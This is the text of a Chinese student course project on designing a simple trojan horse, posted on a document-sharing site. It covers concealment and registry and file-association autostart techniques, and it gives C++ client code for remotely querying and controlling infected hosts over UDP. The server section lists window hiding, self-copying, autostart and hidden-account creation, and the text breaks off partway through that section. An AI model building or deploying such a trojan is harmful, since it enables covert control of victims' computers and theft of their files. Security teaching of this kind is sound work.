ImageVerifierCode 换一换
格式:DOCX , 页数:36 ,大小:533.90KB ,
资源ID:5286387      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bingdoc.com/d-5286387.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(木马的设计课设.docx)为本站会员(b****4)主动上传,冰点文库仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰点文库(发送邮件至service@bingdoc.com或直接QQ联系客服),我们立即给予删除!

木马的设计课设.docx

1、木马的设计课设简单木马设计 一、木马的定义木马本质上是一种经过伪装的欺骗性程序, 它通过将自身伪装吸引用户下载执行, 从而破坏或窃取使用者的重要文件和资料。木马程序与一般的病毒不同,它不会自我繁殖,也并不刻意!地去感染其他文件, 它是一种后台控制程序。它的主要作用是向施种木马者打开被种者电脑的门户,使其可以任意毁坏、窃取被种者的文件,甚至远程操控其电脑。二、木马的组成一般来说,完整的木马由两部分组成,即服务端Server 和客户端Client,也就是采用所谓的C/S 模式。如下图2-1所示:图2-1木马的服务端和客户端一个完整的木马系统以下几部分组成:1、硬件部分建立木马连接所必须的硬件实体。

2、控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。2、软件部分实现远程控制所必须的软件程序。控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。3、建立连接的必要元素通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的网络地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个

3、入口,数据可直达控制端程序或木马 程序。用木马这种黑客工具进行网络入侵,从过程上看大致可分为六步(具体可见下图),下面我们就按这六步来详细阐述木马的攻击原理。配置木马一般来说一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两方 面功能:(1)木马伪装:木马配置程序为了在服务端尽可能的好的隐藏木马,会采用多种伪装手段,如修改图标 ,捆绑文件,定制端口,自我销毁等,我们将在“传播木马”这一节中详细介绍。(2)信息反馈:木马配置程序将就信息反馈的方式或地址进行设置,如设置信息反馈的邮件地址,IRC号 ,ICQ号等等三、木马的隐藏与自启动木马常用的隐藏技术:3.1合并端口法使

4、用特殊的手段, 在一个端口上同时绑定两个TCP 或者UDP 连接(比如80 端口的HTTP),以达到隐藏端口的目的。3.2修改ICMP 头法根据ICMP 协议进行数据的发送,原理是修改ICMP 头的构造,加入木马的控制字段。这样的木马具备很多新特点,如不占用端口、使用户难以发觉等。同时,使用ICMP 协议可以穿透一些防火墙,从而增加了防范的难度。木马常用的自启动技术:为了达到长期控制目标主机的目的,当主机重启之后必须让木马程序再次运行,这样就需要木马具有一定的自启动能力。下面介绍几种常见的方法。3.3加载程序到启动组我们需要关注“开始” 菜单中的启动项, 对应的文件夹是c:Documents

5、and Settings 用户名开始菜单 程序 启动。3.4在注册表中加载自启动项下面仅列举几个木马常用的自启动注册表项:3.4.1 Run 注册表项Run 是木马常用的自启动注册表项,位置在:HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun3.4.2RunOnce 注册表项RunOnce 也是木马常用的自启动注册表项,位置在:HKEY_CURRENT_USERSoftwareMicrosoftWindowsC

6、urerntVersionRunOnceHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce在Windows XP 系统中还有:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx此外, 木马的自启动注册表项还有RunServices 注册表项、RunServicesOnce 注册表项、Winlogon 注册表项、Load 注册表项等。3.5修改文件关联以文本文件的“文件关联”为例,正常情况下,其对应的注册表项和项值分别为:HKEY_CLASS

7、ES_ROOTtxtfileshellopencommand与%SystemRoot%system32NOTEPAD.EXE%1但是某些木马在安装阶段将项值改为“木马程序路径 木马程序名称%l”的形式,这样,当用户打开任何一个文本文件时,就启动了木马程序。 三、简单木马制作 基本思路:本木马由两部分组成,即服务端Server程序 和客户端Client程序,采用的是C/S 模式。 对目的主机的控制主要是通过客户端发出的命令后,服务器端响应后把结果返回给客户端,进而起到控制主机的目的。 在程序制作中,使用了计时器方法,木马端程序会每1s向控制端发送连接信息,若控制端,即client端开启,则会向S

8、erver端反馈confirm信息,这样,Server端会继续发送新的信息。 1、客户端的制作 本客户端程序以属性表单的方式提供操作界面,如下图所示:1.1主机列表 在列表控件中显示由服务器发来的IP、MAC以及运行时间信息。同一IP信息不会重复添加到列表控件中。 “检测”按钮的作用主要是确定当前主机是否在线,也就是是否以运行了木马服务器程序,若以运行,则可以通过其他属性页中的按钮进行控制。其“检测”按钮的单击消息响应函数为:void CPropHostList:OnButton1Connection() / TODO: Add your control notification handle

9、r code here UpdateData(); if(m_strHostIP=) MessageBox(检测主机IP不能为空!rn请输入IP地址!rn或者在列表中选择!,提示,MB_OK|MB_ICONWARNING); theHostIP=m_strHostIP; return ; theHostIP=m_strHostIP; CMySocket SocketSendAndRecv; SocketSendAndRecv.MyStartup(); SOCKET SocketClient = socket( AF_INET , SOCK_DGRAM , 0); SOCKADDR_IN Add

10、ressServer; /发送到服务器的地址信息 AddressServer.sin_addr.S_un.S_addr = inet_addr(theHostIP);/将点分十进制转换为u_long型 AddressServer.sin_family =AF_INET; AddressServer.sin_port = htons(5004);/转换为网络字节序 char recvBuf100;/用于存储接受的数据 char sendBuf100=Hello!;/用于存储要发送的数据 int len=sizeof(SOCKADDR); sendto(SocketClient , sendBuf

11、 , strlen(sendBuf)+1 , 0,(SOCKADDR*)&AddressServer , len); CString RecvData; SetTimer(1,1000,NULL); recvfrom( SocketClient , recvBuf , 100 , 0 , (SOCKADDR*)&AddressServer , &len); RecvData=recvBuf; if(RecvData=Hello!) KillTimer(1); MessageBox(当前主机处于活动状态!,响应,MB_OK|MB_ICONASTERISK); SocketSendAndRecv.

12、MyCloseSocket(SocketClient);1.2系统信息 在确保用户在线的情况下,通过单击“系统信息”、“关闭计算机”、“重启计算机”等按钮就可以获取相应的信息或着执行相应的命令。并且在响应的编辑框中提示本次操作是否成功。 操作界面如下图所示: 以获取“系统信息”按钮为例,此按钮的单击消息响应函数为:void CPropSystemInfoDlg:OnButtonSysteminfo() m_strInfo=; / TODO: Add your control notification handler code here if(theHostIP=) MessageBox(主机I

13、P不能为空!rn请输入IP地址!rn或者在列表中选择!,提示,MB_OK|MB_ICONWARNING); return ; CMySocket SocketSendAndRecv; SocketSendAndRecv.MyStartup(); SOCKET SocketClient = socket( AF_INET , SOCK_DGRAM , 0); SOCKADDR_IN AddressServer; /发送到服务器的地址信息 AddressServer.sin_addr.S_un.S_addr = inet_addr(theHostIP);/将点分十进制转换为u_long型 Addr

14、essServer.sin_family =AF_INET; AddressServer.sin_port = htons(5004);/转换为网络字节序 char recvBuf98;/用于存储接受的数据 char sendBuf100=1GetSystemInfo;/用于存储要发送的数据 int len=sizeof(SOCKADDR); sendto(SocketClient , sendBuf , strlen(sendBuf)+1 , 0,(SOCKADDR*)&AddressServer , len); CString RecvData; CString strShow=; Set

15、Timer(1,1000,NULL); recvfrom( SocketClient , recvBuf , 100 , 0 , (SOCKADDR*)&AddressServer , &len); RecvData=recvBuf; int n=atoi(RecvData); for(int i=1;i=n;i+) recvfrom( SocketClient , recvBuf , 100 , 0 , (SOCKADDR*)&AddressServer , &len); RecvData=recvBuf; strShow=strShow+RecvData; if(RecvData!=) K

16、illTimer(1); m_strInfo=strShow; UpdateData(0); SocketSendAndRecv.MyCloseSocket(SocketClient); 1.3消息属性页在输入消息的正文后,单击发送按钮即可把消息发送到服务器端。操作界面如下: “发送”按钮的单击消息响应函数为:void CPropMessageDlg:OnButtonSendmessage() m_strResponse=; UpdateData(); if(theHostIP=) MessageBox(主机IP不能为空!rn请输入IP地址!rn或者在列表中选择!,提示,MB_OK|MB_IC

17、ONWARNING); return ; CString SendData=5+m_strText; CMySocket SocketSendAndRecv; SocketSendAndRecv.MyStartup(); SOCKET SocketClient = socket( AF_INET , SOCK_DGRAM , 0); SOCKADDR_IN AddressServer; /发送到服务器的地址信息 AddressServer.sin_addr.S_un.S_addr = inet_addr(theHostIP);/将点分十进制转换为u_long型 AddressServer.si

18、n_family =AF_INET; AddressServer.sin_port = htons(5004);/转换为网络字节序 char recvBuf100;/用于存储接受的数据 char *sendBuf=(LPSTR)(LPCTSTR)SendData;/用于存储要发送的数据 int len=sizeof(SOCKADDR); sendto(SocketClient , sendBuf , strlen(sendBuf)+1 , 0,(SOCKADDR*)&AddressServer , len); CString RecvData; SetTimer(1,1000,NULL); r

19、ecvfrom( SocketClient , recvBuf , 100 , 0 , (SOCKADDR*)&AddressServer , &len); RecvData=recvBuf; if(RecvData=5sendsuccess) KillTimer(1); m_strResponse=消息发送成功!; UpdateData(0); SocketSendAndRecv.MyCloseSocket(SocketClient); 1.4进程管理 在本属性页中提供了对进程有关的操作:1.4.1列举进程 列举当前主机中运行的所以进程的信息。 1.4.2结束进程 在列举进程信息后,在编辑框

20、中输入进程ID号后,再单击“结束进程”按钮即可。 1.4.3创建进程 这里需要输入要创建的程序名或者程序的路径。比如:QQ的程序路径,“D:Program FilesTencentQQBinQQ.exe”。 1.4.4获取硬盘信息 由于所要获取的数据太大,如果一次性传输到客户端,则只会显示部分信息。程序中对数据太大的数据进行了分段传输(如:进程信息、系统信息、硬盘信息),每次传输90字节。 在客户端,对分别传送了的数据组装后再在控件中显示。 操作界面如下图所示: 以“结束进程”按钮为例,单击消息响应函数为:void CPropProcessDlg:OnButton2Endprocess() m

21、_strInfo=; UpdateData(); if(theHostIP=) MessageBox(主机IP不能为空!rn请输入IP地址!rn或者在列表中选择!,提示,MB_OK|MB_ICONWARNING); return ; if(m_strEndProcess=) MessageBox(请输入结束进程ID!,提示,MB_OK|MB_ICONWARNING); return ; CString Data=7+m_strEndProcess; CMySocket SocketSendAndRecv; SocketSendAndRecv.MyStartup(); SOCKET Socket

22、Client = socket( AF_INET , SOCK_DGRAM , 0); SOCKADDR_IN AddressServer; /发送到服务器的地址信息 AddressServer.sin_addr.S_un.S_addr = inet_addr(theHostIP);/将点分十进制转换为u_long型 AddressServer.sin_family =AF_INET; AddressServer.sin_port = htons(5004);/转换为网络字节序 char recvBuf100;/用于存储接受的数据 char *sendBuf=(LPSTR)(LPCTSTR)D

23、ata;/用于存储要发送的数据 int len=sizeof(SOCKADDR); sendto(SocketClient , sendBuf , strlen(sendBuf)+1 , 0,(SOCKADDR*)&AddressServer , len); CString RecvData; SetTimer(1,1000,NULL); recvfrom( SocketClient , recvBuf , 100 , 0 , (SOCKADDR*)&AddressServer , &len); RecvData=recvBuf; if(RecvData=7endprocesssuccess)

24、 KillTimer(1); m_strInfo=结束指定进程命令成功!; UpdateData(0); if(RecvData=7endprocessfailure) KillTimer(1); m_strInfo=结束指定进程命令失败!; UpdateData(0); SocketSendAndRecv.MyCloseSocket(SocketClient);1.5查找文件属性页 在本属性页中提供了对指定文件或者文件夹的查找功能,若查找成功则在编辑框中给出指定文件或者文件夹的全路径,否则提示查找失败。操作界面如下: “立即查找”按钮的单击消息响应函数为:void CPropFilesFin

25、dDlg:OnButton1Find() UpdateData(); if(theHostIP=) MessageBox(主机IP不能为空!rn请输入IP地址!rn或者在列表中选择!,提示,MB_OK|MB_ICONWARNING); return ; if(m_strFilesName=) MessageBox(请输入查找文件名!,提示,MB_OK|MB_ICONWARNING); return ; int n=m_strDishOperator.GetCurSel(); CString Selected; m_strDishOperator.GetLBText(n,Selected); C

26、String SendData; SendData=+Selected; SendData=SendData+m_strFilesName; CMySocket SocketSendAndRecv; SocketSendAndRecv.MyStartup(); SOCKET SocketClient = socket( AF_INET , SOCK_DGRAM , 0); SOCKADDR_IN AddressServer; /发送到服务器的地址信息 AddressServer.sin_addr.S_un.S_addr = inet_addr(theHostIP);/将点分十进制转换为u_lo

27、ng型 AddressServer.sin_family =AF_INET; AddressServer.sin_port = htons(5004);/转换为网络字节序 char recvBuf100;/用于存储接受的数据 char *sendBuf=(LPSTR)(LPCTSTR)SendData;/用于存储要发送的数据 int len=sizeof(SOCKADDR); sendto(SocketClient , sendBuf , strlen(sendBuf)+1 , 0,(SOCKADDR*)&AddressServer , len); CString RecvData; SetT

28、imer(1,1000,NULL); recvfrom( SocketClient , recvBuf , 100 , 0 , (SOCKADDR*)&AddressServer , &len); RecvData=recvBuf; if(RecvData=findfileseorror) KillTimer(1); m_strFilesPath=查找指定文件失败!; UpdateData(0); else KillTimer(1); m_strFilesPath=指定文件在服务器路径为:rn+RecvData; UpdateData(0); SocketSendAndRecv.MyClose

29、Socket(SocketClient); 2、服务器程序制作 在服务器端,主要实现的功能是,接收客户端发来的命令,执行相应的功能代码,并把结果发送到客户端,以便显示。 除此之外,服务器程序还要有以下几点功能:窗口隐藏、IP地址信息发送、单一服务器实例、开机自动启动、服务器程序自我复制、创建隐藏账户。这些功能主要是在服务器程序的初始化函数BOOL CTrojanServerDlg:OnInitDialog()中实现的。下面分别说明: 2.1窗口隐藏 对于一个木马服务器程序来说,为了避免用户的察觉,隐藏是十分有必要的,这可以在初始化函数添加以下两行代码即可:ModifyStyleEx(WS_EX

30、_APPWINDOW,WS_EX_TOOLWINDOW);/从任务栏中去掉SetWindowPos(&wndTop,0,0,0,0,NULL); 2.2 IP地址信息发送 对与客户端,如果要对用户主机进行控制,除了需要主机运行服务器程序外,还需要知道主机的IP地址,这样才能发送命令到主机方。另外,对方主机的IP地址也可能会发生变化,所以也需要把变化后的IP地址发送到客户端。实现的方法是,在服务器端创建线程,对主机的IP地址进行监视,每过1小时进行检查IP地址是否改变,若改变,则立即把新的IP地址信息发送到客户端的5005端口。其所创建的线程执行函数为:DWORD WINAPI ProcThread(LPVOID lpParameter)/IP地

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2